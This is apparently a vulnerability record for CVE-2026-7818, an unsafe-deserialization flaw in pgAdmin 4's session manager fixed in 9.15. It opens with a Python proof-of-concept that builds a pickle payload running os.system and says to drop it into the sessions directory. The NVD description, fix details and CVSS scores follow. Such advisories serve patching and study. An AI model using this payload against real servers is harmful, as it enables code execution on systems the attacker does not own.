CVE-2026-7818

import pickle import os # Define a class that executes a command when deserialized class ExploitPayload: def __reduce__(self): # Command to execute: creating a file as proof of concept return (os.system, ('touch /tmp/pwned_by_cve_2026_7818',)) # Serialize the malicious object malicious_data = pickle.dumps(ExploitPayload()) # In a real attack scenario, write this to the session directory # Example: /var/lib/pgadmin/sessions/malicious_session print(f"Generated PoC payload length: {len(malicious_data)} bytes") print("Payload content (hex):", malicious_data.hex()) # To exploit: Write 'malicious_data' to a file in the pgAdmin sessions directory. # When pgAdmin deserializes this session, the command will be executed.

{"cve": {"id": "CVE-2026-7818", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-11T16:17:38.847", "lastModified": "2026-05-11T17:16:35.237", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data (CWE-502) in pgAdmin 4 FileBackedSessionManager.\n\nThe session manager performed unsafe deserialization of session-file contents (using Python's standard object-serialization module) before performing any HMAC integrity check. Any file dropped into the sessions directory was deserialized unconditionally. An authenticated user with write access to the sessions directory (whether by misconfiguration or in combination with another path-traversal flaw) could plant a crafted serialized payload to achieve operating-system level remote code execution under the pgAdmin process identity.\n\nFix prepends a 64-byte hex SHA-256 HMAC over the session body, computed with SECRET_KEY, and verifies it via hmac.compare_digest before any deserialization. The check is raised (rather than asserted) on empty SECRET_KEY so it is not stripped under -O.\n\nThis issue affects pgAdmin 4: before 9.15."}], "metrics": {"cvssMetricV40": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/pgadmin-org/pgadmin4/issues/9901", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}